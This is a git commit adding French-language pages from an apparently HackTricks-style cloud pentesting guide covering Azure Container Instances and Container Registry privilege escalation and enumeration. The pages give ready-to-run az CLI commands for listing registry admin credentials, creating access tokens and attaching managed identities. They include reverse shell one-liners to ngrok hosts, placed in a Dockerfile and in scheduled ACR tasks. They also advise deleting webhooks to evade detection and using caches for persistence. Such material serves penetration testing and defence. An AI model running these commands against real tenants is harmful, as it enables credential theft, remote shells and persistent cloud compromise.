Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-01-12 18:44:27 +00:00
parent 4d97898638
commit 0ab9c4c792
6 changed files with 389 additions and 4 deletions

View File

@@ -0,0 +1,64 @@
# Az - Azure Container Instances Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Azure Container Instances
Pour plus d'informations, consultez :
{{#ref}}
../az-services/az-container-instances.md
{{#endref}}
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
Ces permissions permettent à l'utilisateur de **exécuter une commande** dans un conteneur en cours d'exécution. Cela peut être utilisé pour **escalader les privilèges** dans le conteneur s'il a une identité gérée attachée. Bien sûr, il est également possible d'accéder au code source et à toute autre information sensible stockée à l'intérieur du conteneur.
Pour exécuter un `ls` et obtenir la sortie, c'est aussi simple que :
```bash
az container exec --name <container-name> --resource-group <res-group> --exec-command 'ls'
```
Il est également possible de **lire la sortie** du conteneur avec :
```bash
az container attach --name <container-name> --resource-group <res-group>
```
Ou obtenez les journaux avec :
```bash
az container logs --name <container-name> --resource-group <res-group>
```
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Ces permissions permettent de **lier une identité gérée par l'utilisateur** à un groupe de conteneurs. Cela est très utile pour élever les privilèges dans le conteneur.
Pour lier une identité gérée par l'utilisateur à un groupe de conteneurs :
```bash
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"
```
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Ces autorisations permettent de **créer ou mettre à jour un groupe de conteneurs** avec une **identité gérée par l'utilisateur** qui y est attachée. Cela est très utile pour élever les privilèges dans le conteneur.
```bash
az container create \
--resource-group <res-group>> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0
```
De plus, il est également possible de mettre à jour un groupe de conteneurs existant en ajoutant par exemple l'argument **`--command-line`** avec un reverse shell.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,115 @@
# Az - Azure Container Registry Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Azure Container Registry
Pour plus d'informations, consultez :
{{#ref}}
../az-services/az-container-registry.md
{{#endref}}
### `Microsoft.ContainerRegistry/registries/listCredentials/action`
Cette permission permet à l'utilisateur de lister les identifiants d'administration de l'ACR. Cela est utile pour **obtenir un accès complet** au registre.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>/listCredentials?api-version=2023-11-01-preview"
```
Dans le cas où les identifiants administratifs ne sont pas activés, vous aurez également besoin de la permission `Microsoft.ContainerRegistry/registries/write` pour les activer avec :
```bash
az rest --method PATCH --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerRegistry/registries/<registry-name>?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}'
```
### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action`
Ces permissions permettent à l'utilisateur de **créer un nouveau token** avec des mots de passe pour accéder au registre.
Pour utiliser `az cli` pour le générer comme dans l'exemple suivant, vous aurez également besoin des permissions `Microsoft.ContainerRegistry/registries/read`, `Microsoft.ContainerRegistry/registries/scopeMaps/read`, `Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`, `Microsoft.ContainerRegistry/registries/tokens/read`
```bash
az acr token create \
--registry <registry-name> \
--name <token-name> \
--scope-map _repositories_admin
```
### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action`
Ces permissions permettent à l'utilisateur de **construire et exécuter une image** dans le registre. Cela peut être utilisé pour **exécuter du code** dans le conteneur.
>[!WARNING]
> Cependant, l'image sera exécutée dans un **environnement isolé** et **sans accès au service de métadonnées**. Cela signifie que le conteneur n'aura pas accès aux **métadonnées de l'instance**, donc cela n'est pas vraiment utile pour élever les privilèges.
```bash
# Build
echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile
az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null
```
### `Microsoft.ContainerRegistry/registries/tasks/write`
C'est la principale autorisation qui permet de créer et de mettre à jour une tâche dans le registre. Cela peut être utilisé pour **exécuter un code à l'intérieur d'un conteneur avec une identité gérée attachée à celui-ci** dans le conteneur.
Voici un exemple de la façon d'exécuter un reverse shell dans un conteneur avec l'identité **gérée par le système** attachée à celui-ci :
```bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
```
Une autre façon d'obtenir un RCE à partir d'une tâche sans utiliser un dépôt externe est d'utiliser la commande `az acr task create` avec le drapeau `--cmd`. Cela vous permettra d'exécuter une commande dans le conteneur. Par exemple, vous pouvez exécuter un shell inversé avec la commande suivante :
```bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task-cmd \
--image rev/shell2:v1 \
--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \
--schedule "*/1 * * * *" \
--context /dev/null \
--commit-trigger-enabled false \
--assign-identity
```
> [!TIP]
> Notez que pour attribuer l'identité gérée par le système, vous n'avez besoin d'aucune autorisation spéciale, bien qu'elle doive avoir été activée au préalable dans le registre et avoir reçu certaines autorisations pour être utile.
Pour attribuer une **identité gérée par l'utilisateur également**, vous auriez besoin de l'autorisation `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` pour faire :
```bash
az acr task create \
--registry <registry-name> \
--name reverse-shell-task \
--image rev/shell:v1 \
--file ./Dockerfile \
--context https://github.com/carlospolop/Docker-rev.git \
--assign-identity \[system\] "/subscriptions/<subscription-id>>/resourcegroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>" \
--commit-trigger-enabled false \
--schedule "*/1 * * * *"
```
Pour **mettre à jour** le dépôt d'une tâche existante, vous pouvez faire :
```bash
az acr task update \
--registry <registry-name> \
--name reverse-shell-task \
--context https://github.com/your-user/your-repo.git
```
### `Microsoft.ContainerRegistry/registries/importImage/action`
Avec cette autorisation, il est possible d'**importer une image dans le registre azure**, même sans avoir l'image localement. Cependant, notez que vous **ne pouvez pas importer une image avec un tag** qui existe déjà dans le registre.
```bash
# Push with az cli
az acr import \
--name <registry-name> \
--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import
```
Pour **démarquer ou supprimer un tag d'image spécifique** du registre, vous pouvez utiliser la commande suivante. Cependant, notez que vous aurez besoin d'un utilisateur ou d'un jeton avec **suffisamment de permissions** pour le faire :
```bash
az acr repository untag \
--name <registry-name> \
--image <image-name>:<tag>
az acr repository delete \
--name <registry-name> \
--image <image-name>:<tag>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,45 @@
# Az - Container Instances
{{#include ../../../../banners/hacktricks-training.md}}
## Informations de base
Azure Container Instances (ACI) fournissent un **mode sans serveur, à la demande** pour exécuter des **conteneurs** dans le cloud Azure. Vous pouvez **déployer** un ou plusieurs conteneurs dans un groupe avec un **calcul évolutif**, des **options de mise en réseau**, et la flexibilité de se connecter à **d'autres services Azure** (comme Storage, Virtual Networks, ou Container Registries).
Étant donné qu'ils sont des charges de travail **éphémères**, vous n'avez pas besoin de gérer l'infrastructure VM sous-jacente — Azure s'en occupe pour vous. Cependant, d'un point de vue de **sécurité offensive**, il est crucial de comprendre comment les **permissions**, les **identités**, les **configurations réseau**, et les **logs** peuvent révéler des surfaces d'attaque et des configurations potentielles incorrectes.
### Configurations
- Pour créer un conteneur, il est possible d'utiliser une image publique, une image de conteneur d'un Azure Container Registry ou d'un dépôt externe, ce qui pourrait **nécessiter de configurer un mot de passe** pour y accéder.
- En ce qui concerne la mise en réseau, cela peut également avoir une **IP publique** ou être des **points de terminaison privés**.
- Il est également possible de configurer des paramètres docker courants tels que :
- **Variables d'environnement**
- **Volumes** (même à partir d'Azure Files)
- **Ports**
- **Limites de CPU et de mémoire**
- **Politique de redémarrage**
- **Exécuter en tant que privilégié**
- **Ligne de commande à exécuter**
- ...
## Énumération
> [!WARNING]
> Lors de l'énumération des ACI, vous pouvez révéler des configurations sensibles telles que des **variables d'environnement**, des **détails réseau**, ou des **identités gérées**. Soyez prudent avec l'enregistrement ou l'affichage de celles-ci.
```bash
# List all container instances in the subscription
az container list
# Show detailed information about a specific container instance
az container show --name <container-name> --resource-group <res-group>
# Fetch logs from a container
az container logs --name <container-name> --resource-group <res-group>
# Execute a command in a running container and get the output
az container exec --name <container-name> --resource-group <res-group> --exec-command "ls"
# Get yaml configuration of the container group
az container export --name <container-name> --resource-group <res-group>
```

View File

@@ -0,0 +1,157 @@
# Az - Container Registry
{{#include ../../../../banners/hacktricks-training.md}}
## Informations de base
Azure Container Registry (ACR) est un registre privé et sécurisé qui vous permet de **stocker, gérer et accéder aux images de conteneurs dans le cloud Azure**. Il s'intègre parfaitement à plusieurs services Azure, offrant des workflows de construction et de déploiement automatisés à grande échelle. Avec des fonctionnalités telles que la géo-réplication et l'analyse de vulnérabilités, ACR aide à garantir la sécurité et la conformité de niveau entreprise pour les applications conteneurisées.
### Permissions
Voici les **différentes permissions** [selon la documentation](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) qui peuvent être accordées sur un Container Registry :
- Accéder au Resource Manager
- Créer/supprimer un registre
- Pousser une image
- Tirer une image
- Supprimer des données d'image
- Modifier des politiques
- Signer des images
Il existe également des **rôles intégrés** qui peuvent être attribués, et il est également possible de créer des **rôles personnalisés**.
![](</images/registry_roles.png>)
### Authentification
> [!WARNING]
> Il est très important que même si le nom du registre contient des lettres majuscules, vous devez toujours utiliser des **lettres minuscules** pour vous connecter, pousser et tirer des images.
Il existe 4 façons de s'authentifier à un ACR :
- **Avec Entra ID** : C'est la **méthode par défaut** pour s'authentifier à un ACR. Elle utilise la commande **`az acr login`** pour s'authentifier à l'ACR. Cette commande va **stocker les identifiants** dans le fichier **`~/.docker/config.json`**. De plus, si vous exécutez cette commande depuis un environnement sans accès à un socket docker comme dans un **cloud shell**, il est possible d'utiliser le drapeau **`--expose-token`** pour obtenir le **token** pour s'authentifier à l'ACR. Ensuite, pour s'authentifier, vous devez utiliser comme nom d'utilisateur `00000000-0000-0000-0000-000000000000` comme : `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Avec un compte administrateur** : L'utilisateur administrateur est désactivé par défaut mais il peut être activé et ensuite il sera possible d'accéder au registre avec le **nom d'utilisateur** et le **mot de passe** du compte administrateur avec des permissions complètes sur le registre. Cela est toujours pris en charge car certains services Azure l'utilisent. Notez que **2 mots de passe** sont créés pour cet utilisateur et les deux sont valides. Vous pouvez l'activer avec `az acr update -n <acrName> --admin-enabled true`. Notez que le nom d'utilisateur est généralement le nom du registre (et non `admin`).
- **Avec un token** : Il est possible de créer un **token** avec une **`scope map`** (permissions) spécifique pour accéder au registre. Ensuite, il est possible d'utiliser ce nom de token comme nom d'utilisateur et certains des mots de passe générés pour s'authentifier au registre avec `docker login -u <registry-name> -p <password> aregistry-url>`
- **Avec un Service Principal** : Il est possible de créer un **service principal** et d'attribuer un rôle comme **`AcrPull`** pour tirer des images. Ensuite, il sera possible de **se connecter au registre** en utilisant l'appId du SP comme nom d'utilisateur et un secret généré comme mot de passe.
Exemple de script provenant de la [documentation](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) pour générer un SP avec accès à un registre :
```bash
#!/bin/bash
ACR_NAME=$containerRegistry
SERVICE_PRINCIPAL_NAME=$servicePrincipal
# Obtain the full registry ID
ACR_REGISTRY_ID=$(az acr show --name $ACR_NAME --query "id" --output tsv)
PASSWORD=$(az ad sp create-for-rbac --name $SERVICE_PRINCIPAL_NAME --scopes $ACR_REGISTRY_ID --role acrpull --query "password" --output tsv)
USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].appId" --output tsv)
echo "Service principal ID: $USER_NAME"
echo "Service principal password: $PASSWORD"
```
### Chiffrement
Seul le **Premium SKU** prend en charge le **chiffrement au repos** pour les images et autres artefacts.
### Réseau
Seul le **Premium SKU** prend en charge les **points de terminaison privés**. Les autres ne prennent en charge que l'**accès public**. Un point de terminaison public a le format `<registry-name>.azurecr.io` et un point de terminaison privé a le format `<registry-name>.privatelink.azurecr.io`. Pour cette raison, le nom du registre doit être unique dans tout Azure.
### Microsoft Defender for Cloud
Cela vous permet de **scanner les images** dans le registre pour détecter des **vulnérabilités**.
### Suppression douce
La fonctionnalité de **suppression douce** vous permet de **récupérer un registre supprimé** dans le nombre de jours indiqué. Cette fonctionnalité est **désactivée par défaut**.
### Webhooks
Il est possible de **créer des webhooks** à l'intérieur des registres. Dans ce webhook, il est nécessaire de spécifier l'URL où une **demande sera envoyée chaque fois qu'une action de push ou de suppression est effectuée**. De plus, les Webhooks peuvent indiquer un scope pour indiquer les dépôts (images) qui seront affectés. Par exemple, 'foo:*' signifie des événements sous le dépôt 'foo'.
Du point de vue d'un attaquant, il est intéressant de vérifier cela **avant d'effectuer toute action** dans le registre, et de le supprimer temporairement si nécessaire, pour éviter d'être détecté.
### Registres connectés
Cela permet essentiellement de **miroiter les images** d'un registre à un autre, généralement situé sur site.
Il a 2 modes : **ReadOnly** et **ReadWrite**. Dans le premier, les images sont uniquement **tirées** du registre source, et dans le second, les images peuvent également être **poussées** vers le registre source.
Pour que les clients accèdent au registre depuis Azure, un **jeton** est généré lorsque le registre connecté est utilisé.
### Exécutions & Tâches
Les Exécutions & Tâches permettent d'exécuter dans Azure des actions liées aux conteneurs que vous deviez généralement effectuer localement ou dans un pipeline CI/CD. Par exemple, vous pouvez **construire, pousser et exécuter des images dans le registre**.
Le moyen le plus simple de construire et d'exécuter un conteneur est d'utiliser une Exécution régulière :
```bash
# Build
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --file Dockerfile .
# Run
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
```
Cependant, cela déclenchera des exécutions qui ne sont pas très intéressantes du point de vue d'un attaquant car elles n'ont pas d'identité gérée qui leur est attachée.
Cependant, **tasks** peuvent avoir une **identité gérée système et utilisateur** qui leur est attachée. Ces tâches sont celles utiles pour **escalader les privilèges** dans le conteneur. Dans la section sur l'escalade des privilèges, il est possible de voir comment utiliser les tâches pour escalader les privilèges.
### Cache
La fonctionnalité de cache permet de **télécharger des images depuis un dépôt externe** et de stocker les nouvelles versions dans le registre. Cela nécessite d'avoir des **identifiants configurés** en sélectionnant les identifiants d'un Azure Vault.
C'est très intéressant du point de vue d'un attaquant car cela permet de **pivoter vers une plateforme externe** si l'attaquant a suffisamment de permissions pour accéder aux identifiants, **télécharger des images depuis un dépôt externe** et configurer un cache pourrait également être utilisé comme **mécanisme de persistance**.
## Enumeration
> [!WARNING]
> Il est très important que même si le nom du registre contient des lettres majuscules, vous ne devez utiliser que des lettres minuscules dans l'URL pour y accéder.
```bash
# List of all the registries
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
az acr list
# Get the details of a registry
az acr show --name <registry-name>
# List tokens of a registry
az acr token list --registry <registry-name> --resource-group <res-group>
# List repositories in a registry
az acr repository list --name <registry-name> --resource-group <res-group>
# List the tags of a repository
az acr repository show-tags --repository <repository-name> --name <registry-name> --resource-group <res-group>
# List deleted repository tags
## At the time of this writing there isn't yet any command to restore it
az acr repository list-deleted --name <registry-name>
# List tasks
## Check the git URL or the command
az acr task list --registry <registry-name>
# List tasks runs
az acr task list-runs --registry <registry-name>
# List connected registries
az acr connected-registry list --registry <registry-name>
# List cache
az acr cache list --registry <registry-name>
# Get cache details
az acr cache show --name <cache-name> --registry <registry-name>
```
## Escalade de privilèges & Post-exploitation
{{#ref}}
../az-privilege-escalation/az-automation-accounts-privesc.md
{{#endref}}
## Références
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)
{{#include ../../../../banners/hacktricks-training.md}}